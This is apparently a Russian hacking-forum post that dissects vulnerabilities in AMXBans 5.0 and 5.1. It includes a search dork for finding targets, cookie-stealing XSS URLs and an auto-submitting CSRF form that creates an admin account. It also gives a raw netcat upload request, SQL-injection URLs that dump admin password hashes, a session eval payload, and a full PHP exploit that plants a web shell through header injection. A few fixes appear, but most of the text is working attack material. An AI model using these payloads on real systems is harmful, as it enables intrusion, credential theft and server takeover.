AMXBans 5.0 by YoMama/LuX & lantz69 Site: http://www.amxbans.net/ Dork: allinurl:ban_list.php amxbans Папки доступные на запись: include (скрипт сам создает конфиг, который располагается в этой папке) smarty/templates_c (скомпиленные шаблоны смарти) tmp (здесь сохраняются залитые на сервак списки банов) XSS /unavailable.php?message=%3Cscript%3Ealert(document.cookie)%3C/script%3E Необходимо: register_globals = On PHP: if ($_GET['msg'] == "frontend_disabled") { $message = lang("_ERRORAMXBANSDISABLED"); } else if ($_GET['msg'] == "setupfile_exists") { $message = lang("_ERRORSETUPPHP"); } else if ($_GET['msg'] == "magicquotes_off") { $message = lang("_ERRORMAGICQUOTES"); } //... $smarty->assign("message",$message); Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS (активная) /login.php?uid=%3Cscript%3Ealert(/xss/)%3C/script%3E /admin/log_search.php Необходимо: register_globals = On PHP: if(isset($_POST['uid'])){ $_POST['uid'] = secure($_POST['uid']); } //... if (isset($_POST['uid'])) { $uid = $_POST['uid']; } else if ( isset($_SESSION['uid']) ){ $uid = $_SESSION['uid']; } //... $add_log = mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error()); Метод устранения: В начала файла include/functions.lang.php дописать PHP: function regGlobOff($array) { foreach($array as $k => $v) { unset($GLOBALS[$k]); } } error_reporting(0); regGlobOff($_POST); regGlobOff($_GET); regGlobOff($_COOKIE); Path disclosure Практически в каждом файле: PHP: // Start session session_start(); Вставляем в идентификатор сессии запрещенные символы и получаем Code: Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /Library/WebServer/test/amxbans/ban_list.php on line 46 Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46 Метод устранения: В каждом скрипте перед session_start поставить оператор подавления ошибок @ CSRF Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт: Code: <body onload="document.forms.admins.submit()"> <form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'> <input type='hidden' name='sektion' value='webadmins'> <input type='text' name='username' value="test"> <input type='text' name='password' value="test"> <input type='text' name='level' value='1'> <input type='hidden' name='action' value="insert"> </form> Метод устранения: Добавить следующий код, например в include/accesscontrol.inc.php PHP: if( $_SERVER['REQUEST_METHOD'] == 'POST') if(!preg_match('!^http(s)?://' . preg_quote($_SERVER['HTTP_HOST']) . '!i', $_SERVER['HTTP_REFERER'])) exit; Заливка шелла /admin/import_bans.php Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем. Пример: Code: $nc localhost 80 POST /amxbans/admin/import_bans.php HTTP/1.1 User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0 Host: test Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://test/amxbans/admin/import_bans.php Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324 Cookie2: $Version=1 Connection: Close TE: deflate, gzip, chunked, identity, trailers Content-Length: 566 Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS -------VOiPkDnr0wuySS Content-Disposition: form-data; name="submitted" true ------------sLuN8T5jVOiPkDnr0wuySS Content-Disposition: form-data; name="banlog"; filename="info.php.cfg" Content-Type: text/plain <?php phpinfo(); ?> ------------sLuN8T5jVOiPkDnr0wuySS Content-Disposition: form-data; name="ban_reason" ------------sLuN8T5jVOiPkDnr0wuySS Content-Disposition: form-data; name="ban_length" ------------sLuN8T5jVOiPkDnr0wuySS Content-Disposition: form-data; name="importit" import ------------sLuN8T5jVOiPkDnr0wuySS-- Таблицы: amx_admins_servers amx_amxadmins amx_banhistory amx_banreasons amx_bans amx_levels amx_logs amx_serverinfo amx_webadmins (id, username, password, level, logcode) //password = md5 хеш Cookies: Ставится 1 кука с именем amxbans. Ее содержимое: oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3Ac2b6a0f098280fc8f4795e33b58a77ed%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes PHP: $cook = explode(":", $_COOKIE["amxbans"]); $uid = $cook[0]; $pwd = $cook[1]; $lvl = $cook[2]; $uip = $cook[3]; $logcode = $cook[4]; $bans_add = $cook[5]; $bans_edit = $cook[6]; $bans_delete = $cook[7]; $bans_unban = $cook[8]; $bans_import = $cook[9]; $bans_export = $cook[10]; $amxadmins_view = $cook[11]; $amxadmins_edit = $cook[12]; $webadmins_view = $cook[13]; $webadmins_edit = $cook[14]; $permissions_edit = $cook[15]; $prune_db = $cook[16]; $servers_edit = $cook[17]; $ip_view = $cook[18]; В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E Получим: Code: lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N; AMXBans работает только c magic_quotes = On !
Обзор AMXBans (часть 2) Итак проект AMXBans ожил и 15 марта была зарелизена новая версия (5.1). Для тех кто не в курсе: AMXBans - это очень популярная система управления банами и админами на серверах CS 1.6. В новой версии не исправили старых багов, лишь добавили новых. XSS (register_globals=on) PHP: $resource = mysql_query("SELECT access, nickname FROM $config->amxadmins WHERE ashow = '1' ORDER BY access ASC") or die(mysql_error()); while($result = mysql_fetch_object($resource)) { $amxadmins_info = array( "access" => $result->access, "nickname" => $result->nickname ); $amxadmins_array[] = $amxadmins_info; } ... $smarty->assign("amxadmin",isset($amxadmins_array) ? $amxadmins_array : ""); /admins_list.php?amxadmins_array[999][nickname]=[XSS] XSS (так же актуально для предыдущей версии) PHP: $smarty->assign("this",$_SERVER['PHP_SELF']); /admin/add_ban.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Path disclosure PHP: session_start(); ... if(mysql_num_rows($resource) == 0) { trigger_error("Can't find ban with given ID.", E_USER_NOTICE); } else { /ban_details_ex.php?bhid=-1 или измененное значение сессии. SQL-injection PHP: $bhid = $_GET['bhid']; $resourcec = mysql_query("SELECT id, name, comment, email, addr, date FROM $config->amxcomments WHERE bhid =".mysql_escape_string($bhid)." ORDER BY date ASC") or die(mysql_error()); /ban_details_ex.php?bhid=-1+union+select+1,2,concat_ws(0x3a,username,password,logcode),4,5,6+from+amx_webadmins SQL-injection (register_globals=on) PHP: $where[] = "address != 'localhost:27000'"; $resource = mysql_query("SELECT * FROM $config->servers WHERE ".implode(" AND ",$where)." ORDER BY hostname ASC") or die (mysql_error()); /live.php?where[]=0+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10+from+amx_webadmins--+ Blind SQL-injection exploit Скуль присутствует в ban_details.php и ban_details_ex.php, только ее необходимость многие могли бы поставить под сомнение, тк выше уже была описана инъекция с выводом. Но если File_priv = y, тогда можно залить шелл. Разработчики добавили возможность комментировать баны, и чтобы банлист не спамили, они прикрутили каптчу. Вот только реализовали они ее хреново: PHP: $rand = mt_rand(1000000,9999999); $rand = base64_encode($rand); $rand = substr($rand, 0, 7).""; $rand = str_replace("J", "Z", $rand); $rand = str_replace("I", "Y", $rand); $rand = str_replace("j", "z", $rand); $rand = str_replace("i", "y", $rand); if(!isset($_POST[action]) && $_POST[action] != "insert"){ unset($_SESSION['code']); $_SESSION['code'] = "$rand"; } ... if($_POST['verify'] != $_SESSION['code']){ $url = "$config->document_root"; $delay = "5"; echo "Incorrect security code, please try again!"; if(isset($_GET["bhid"])) { $bhid = $_GET['bhid']; echo "<meta http-equiv=\"refresh\" content=\"".$delay.";url=\"ban_details_ex.php?bhid=$bhid\">"; } exit(); } Т.е. если сразу постить, код капчи не сгенерируется и будет равен пустой строке, следовательно каптча - не помеха. Сама уязвимость: PHP: if ((isset($_POST['action'])) && ($_POST['action'] == "insert")) { if ($_SERVER['HTTP_CLIENT_IP']) { $user_ip = $_SERVER['HTTP_CLIENT_IP']; } else if ($_SERVER['HTTP_X_FORWARDED_FOR']) { $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else if ($_SERVER['REMOTE_ADDR']) { $user_ip = $_SERVER['REMOTE_ADDR']; } else { $user_ip = ""; } ... $name = $_POST['name']; $comment = $_POST['comment']; $email = $_POST['email']; $bhid=$_GET["bhid"]; $time = time(); $contact_flood=5*60; if(isset($_GET['bhid'])) { $bhid = $_GET["bhid"]; $sql = mysql_query("SELECT date FROM $config->amxcomments WHERE addr = '".$user_ip."' AND bhid = '".$bhid."' ORDER BY date DESC LIMIT 0, 1"); } Ну и сам простенький сплойт: PHP: <?php $url = 'http://test/amxbans51/'; $text = '<?php eval($_GET[c]);?>'; $path = '/Library/WebServer/test/amxbans51/'; $file = 'demos/shell.php'; $postdata = http_build_query( array( 'action' => 'insert', 'verify' => "" ) ); $opts = array('http' => array( 'method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\n" ."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#", 'content' => $postdata ) ); $context = stream_context_create($opts); @file_get_contents($url.'ban_details.php?bhid=-1', false, $context); echo "Check: ".$url.$file."\n"; ?> ps1: если на сервере стоит AMXBans это железобетонно означает, что на сервере magic_quotes=on ps2: если не удастся найти пароль по хешу, можно составить куку. ps3: шелл прекрасно льется через /admin/demo.php
кстати, в AMXBans 5.0 by YoMama/LuX & lantz69 тоже есть раскрытие путей. только что ковырял сайт и наткнулся. Path disclosure Code: /ban_details.php?bhid=-1